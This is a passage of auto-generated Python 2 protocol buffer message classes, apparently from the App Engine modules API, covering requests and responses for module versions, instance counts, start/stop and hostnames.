e1 != e2: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 n += 1 * len(self.module_) for i in xrange(len(self.module_)): n += self.lengthString(len(self.module_[i])) return n def ByteSizePartial(self): n = 0 n += 1 * len(self.module_) for i in xrange(len(self.module_)): n += self.lengthString(len(self.module_[i])) return n def Clear(self): self.clear_module() def OutputUnchecked(self, out): for i in xrange(len(self.module_)): out.putVarInt32(10) out.putPrefixedString(self.module_[i]) def OutputPartial(self, out): for i in xrange(len(self.module_)): out.putVarInt32(10) out.putPrefixedString(self.module_[i]) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.add_module(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.module_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("module%s: %s\n" % (elm, self.DebugFormatString(e))) cnt+=1 return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetModulesResponse' class GetVersionsRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) return n def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) return n def Clear(self): self.clear_module() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetVersionsRequest' class GetVersionsResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): self.version_ = [] if contents is not None: self.MergeFromString(contents) def version_size(self): return len(self.version_) def version_list(self): return self.version_ def version(self, i): return self.version_[i] def set_version(self, i, x): self.version_[i] = x def add_version(self, x): self.version_.append(x) def clear_version(self): self.version_ = [] def MergeFrom(self, x): assert x is not self for i in xrange(x.version_size()): self.add_version(x.version(i)) def Equals(self, x): if x is self: return 1 if len(self.version_) != len(x.version_): return 0 for e1, e2 in zip(self.version_, x.version_): if e1 != e2: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 n += 1 * len(self.version_) for i in xrange(len(self.version_)): n += self.lengthString(len(self.version_[i])) return n def ByteSizePartial(self): n = 0 n += 1 * len(self.version_) for i in xrange(len(self.version_)): n += self.lengthString(len(self.version_[i])) return n def Clear(self): self.clear_version() def OutputUnchecked(self, out): for i in xrange(len(self.version_)): out.putVarInt32(10) out.putPrefixedString(self.version_[i]) def OutputPartial(self, out): for i in xrange(len(self.version_)): out.putVarInt32(10) out.putPrefixedString(self.version_[i]) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.add_version(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" cnt=0 for e in self.version_: elm="" if printElemNumber: elm="(%d)" % cnt res+=prefix+("version%s: %s\n" % (elm, self.DebugFormatString(e))) cnt+=1 return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kversion = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "version", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetVersionsResponse' class GetDefaultVersionRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) return n def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) return n def Clear(self): self.clear_module() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetDefaultVersionRequest' class GetDefaultVersionResponse(ProtocolBuffer.ProtocolMessage): has_version_ = 0 version_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def MergeFrom(self, x): assert x is not self if (x.has_version()): self.set_version(x.version()) def Equals(self, x): if x is self: return 1 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_version_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: version not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.version_)) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_version_): n += 1 n += self.lengthString(len(self.version_)) return n def Clear(self): self.clear_version() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.version_) def OutputPartial(self, out): if (self.has_version_): out.putVarInt32(10) out.putPrefixedString(self.version_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_version(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kversion = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "version", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetDefaultVersionResponse' class GetNumInstancesRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" has_version_ = 0 version_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) if (x.has_version()): self.set_version(x.version()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) return n def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) return n def Clear(self): self.clear_module() self.clear_version() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if tt == 18: self.set_version(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 kversion = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", 2: "version", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetNumInstancesRequest' class GetNumInstancesResponse(ProtocolBuffer.ProtocolMessage): has_instances_ = 0 instances_ = 0 def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def instances(self): return self.instances_ def set_instances(self, x): self.has_instances_ = 1 self.instances_ = x def clear_instances(self): if self.has_instances_: self.has_instances_ = 0 self.instances_ = 0 def has_instances(self): return self.has_instances_ def MergeFrom(self, x): assert x is not self if (x.has_instances()): self.set_instances(x.instances()) def Equals(self, x): if x is self: return 1 if self.has_instances_ != x.has_instances_: return 0 if self.has_instances_ and self.instances_ != x.instances_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_instances_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: instances not set.') return initialized def ByteSize(self): n = 0 n += self.lengthVarInt64(self.instances_) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_instances_): n += 1 n += self.lengthVarInt64(self.instances_) return n def Clear(self): self.clear_instances() def OutputUnchecked(self, out): out.putVarInt32(8) out.putVarInt64(self.instances_) def OutputPartial(self, out): if (self.has_instances_): out.putVarInt32(8) out.putVarInt64(self.instances_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 8: self.set_instances(d.getVarInt64()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_instances_: res+=prefix+("instances: %s\n" % self.DebugFormatInt64(self.instances_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kinstances = 1 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "instances", }, 1) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.NUMERIC, }, 1, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetNumInstancesResponse' class SetNumInstancesRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" has_version_ = 0 version_ = "" has_instances_ = 0 instances_ = 0 def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def instances(self): return self.instances_ def set_instances(self, x): self.has_instances_ = 1 self.instances_ = x def clear_instances(self): if self.has_instances_: self.has_instances_ = 0 self.instances_ = 0 def has_instances(self): return self.has_instances_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) if (x.has_version()): self.set_version(x.version()) if (x.has_instances()): self.set_instances(x.instances()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 if self.has_instances_ != x.has_instances_: return 0 if self.has_instances_ and self.instances_ != x.instances_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_instances_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: instances not set.') return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) n += self.lengthVarInt64(self.instances_) return n + 1 def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) if (self.has_instances_): n += 1 n += self.lengthVarInt64(self.instances_) return n def Clear(self): self.clear_module() self.clear_version() self.clear_instances() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) out.putVarInt32(24) out.putVarInt64(self.instances_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) if (self.has_instances_): out.putVarInt32(24) out.putVarInt64(self.instances_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if tt == 18: self.set_version(d.getPrefixedString()) continue if tt == 24: self.set_instances(d.getVarInt64()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) if self.has_instances_: res+=prefix+("instances: %s\n" % self.DebugFormatInt64(self.instances_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 kversion = 2 kinstances = 3 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", 2: "version", 3: "instances", }, 3) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, 3: ProtocolBuffer.Encoder.NUMERIC, }, 3, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.SetNumInstancesRequest' class SetNumInstancesResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.SetNumInstancesResponse' class StartModuleRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" has_version_ = 0 version_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) if (x.has_version()): self.set_version(x.version()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 if (not self.has_module_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: module not set.') if (not self.has_version_): initialized = 0 if debug_strs is not None: debug_strs.append('Required field: version not set.') return initialized def ByteSize(self): n = 0 n += self.lengthString(len(self.module_)) n += self.lengthString(len(self.version_)) return n + 2 def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 n += self.lengthString(len(self.module_)) if (self.has_version_): n += 1 n += self.lengthString(len(self.version_)) return n def Clear(self): self.clear_module() self.clear_version() def OutputUnchecked(self, out): out.putVarInt32(10) out.putPrefixedString(self.module_) out.putVarInt32(18) out.putPrefixedString(self.version_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if tt == 18: self.set_version(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 kversion = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", 2: "version", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.StartModuleRequest' class StartModuleResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.StartModuleResponse' class StopModuleRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" has_version_ = 0 version_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) if (x.has_version()): self.set_version(x.version()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) return n def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) return n def Clear(self): self.clear_module() self.clear_version() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if tt == 18: self.set_version(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 kversion = 2 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", 2: "version", }, 2) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, }, 2, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.StopModuleRequest' class StopModuleResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.StopModuleResponse' class GetHostnameRequest(ProtocolBuffer.ProtocolMessage): has_module_ = 0 module_ = "" has_version_ = 0 version_ = "" has_instance_ = 0 instance_ = "" def __init__(self, contents=None): if contents is not None: self.MergeFromString(contents) def module(self): return self.module_ def set_module(self, x): self.has_module_ = 1 self.module_ = x def clear_module(self): if self.has_module_: self.has_module_ = 0 self.module_ = "" def has_module(self): return self.has_module_ def version(self): return self.version_ def set_version(self, x): self.has_version_ = 1 self.version_ = x def clear_version(self): if self.has_version_: self.has_version_ = 0 self.version_ = "" def has_version(self): return self.has_version_ def instance(self): return self.instance_ def set_instance(self, x): self.has_instance_ = 1 self.instance_ = x def clear_instance(self): if self.has_instance_: self.has_instance_ = 0 self.instance_ = "" def has_instance(self): return self.has_instance_ def MergeFrom(self, x): assert x is not self if (x.has_module()): self.set_module(x.module()) if (x.has_version()): self.set_version(x.version()) if (x.has_instance()): self.set_instance(x.instance()) def Equals(self, x): if x is self: return 1 if self.has_module_ != x.has_module_: return 0 if self.has_module_ and self.module_ != x.module_: return 0 if self.has_version_ != x.has_version_: return 0 if self.has_version_ and self.version_ != x.version_: return 0 if self.has_instance_ != x.has_instance_: return 0 if self.has_instance_ and self.instance_ != x.instance_: return 0 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) if (self.has_instance_): n += 1 + self.lengthString(len(self.instance_)) return n def ByteSizePartial(self): n = 0 if (self.has_module_): n += 1 + self.lengthString(len(self.module_)) if (self.has_version_): n += 1 + self.lengthString(len(self.version_)) if (self.has_instance_): n += 1 + self.lengthString(len(self.instance_)) return n def Clear(self): self.clear_module() self.clear_version() self.clear_instance() def OutputUnchecked(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) if (self.has_instance_): out.putVarInt32(26) out.putPrefixedString(self.instance_) def OutputPartial(self, out): if (self.has_module_): out.putVarInt32(10) out.putPrefixedString(self.module_) if (self.has_version_): out.putVarInt32(18) out.putPrefixedString(self.version_) if (self.has_instance_): out.putVarInt32(26) out.putPrefixedString(self.instance_) def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if tt == 10: self.set_module(d.getPrefixedString()) continue if tt == 18: self.set_version(d.getPrefixedString()) continue if tt == 26: self.set_instance(d.getPrefixedString()) continue if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" if self.has_module_: res+=prefix+("module: %s\n" % self.DebugFormatString(self.module_)) if self.has_version_: res+=prefix+("version: %s\n" % self.DebugFormatString(self.version_)) if self.has_instance_: res+=prefix+("instance: %s\n" % self.DebugFormatString(self.instance_)) return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) kmodule = 1 kversion = 2 kinstance = 3 _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", 1: "module", 2: "version", 3: "instance", }, 3) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, 1: ProtocolBuffer.Encoder.STRING, 2: ProtocolBuffer.Encoder.STRING, 3: ProtocolBuffer.Encoder.STRING, }, 3, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 